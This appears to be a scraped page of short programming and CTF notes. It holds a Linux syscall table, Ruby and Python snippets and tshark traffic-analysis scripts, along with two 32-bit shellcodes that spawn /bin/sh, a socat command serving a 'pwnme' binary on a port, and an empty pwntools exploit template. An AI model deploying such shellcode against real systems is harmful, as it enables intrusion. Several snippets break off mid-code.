grittyninja

<table border=""><tbody><tr><th align="left">%rax</th><th align="left">System call</th><th align="left">%rdi</th><th align="left">%rsi</th><th align="left">%rdx</th><th align="left">%r10</th><th align="left">%r8</th><th align="left">%r9</th></tr><tr><td>0</td><td>sys_read</td><td>unsigned int fd</td><td>char *buf</td><td>size_t count</td><td></td><td></td><td></td></tr><tr><td>1</td><td>sys_write</td><td>unsigned int fd</td><td>const char *buf</td><td>size_t count</td><td></td><td></td><td></td></tr><tr><td>2</td><td>sys_open</td><td>const char *filename</td><td>int flags</td><td>int mode</td><td></td><td></td><td></td></tr><tr><td>3</td><td>sys_close</td><td>unsigned int fd</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>4</td><td>sys_stat</td><td>const char *filename</td><td>struct stat *statbuf</td><td></td><td></td><td></td><td></td></tr><tr><td>5</td><td>sys_fstat</td><td>unsigned int fd</td><td>struct stat *statbuf</td><td></td><td></td><td></td><td></td></tr><tr><td>6</td><td>sys_lstat</t

grittyninja

# Class methods are methods that are called on a class and instance methods are methods that are called on an instance of a class.

class Foo
    # Class method
    class << self
        def bar
            puts "class method"
        end
        

grittyninja

[[ Spawning /bin/sh ]]

#### BY SHELLSTORM ####

# 32 bit 
## 23 bytes 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
## 21 bytes
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

grittyninja

#!/bin/bash
echo "[+] TCP STREAM"
STREAM=0
while true; do
IP=$(tshark -r tmp_einqrztl_10.pcapng -Y "tcp.stream eq $STREAM" -T fields -e ip.dst | sed -e 's/10.0.2.15//g' | sort | uniq | tr -d '\n')
if [ $IP ]; then
    echo "[+] Extracting statistics data from Conversation $STREAM"
    # CALCULATE HERE
    
else

grittyninja

#!/bin/bash

# SETTINGS
CLIENT="10.0.2.15"
SPLIT=180
CLASS=$2
# FUNCTIONS
function AVG {
  LIST=(${@})
  SUM=0

grittyninja

$ sudo socat TCP-LISTEN:31337,reuseaddr,fork EXEC:./pwnme,su=nobody

grittyninja

2's Complements:
-(num) & (2**nbit - 1)

grittyninja

<pre><code class="line-numbers language-python"># Author: hrdn
test = ["H","E","L","L","O"]
"".join(test)
</code>
</pre>

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import sys
from pwn import *

def exploit(r):
  # craft exploit here
  
if __name__ == "__main__":
    log.info("%s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))

grittyninja

#!/usr/bin/env python2
import os  
import string  
import operator  
import commands
charset = "_{}" + string.ascii_letters + string.digits
offset = 24 # true condition - false condition
tmp = ""
cm = ""
def main():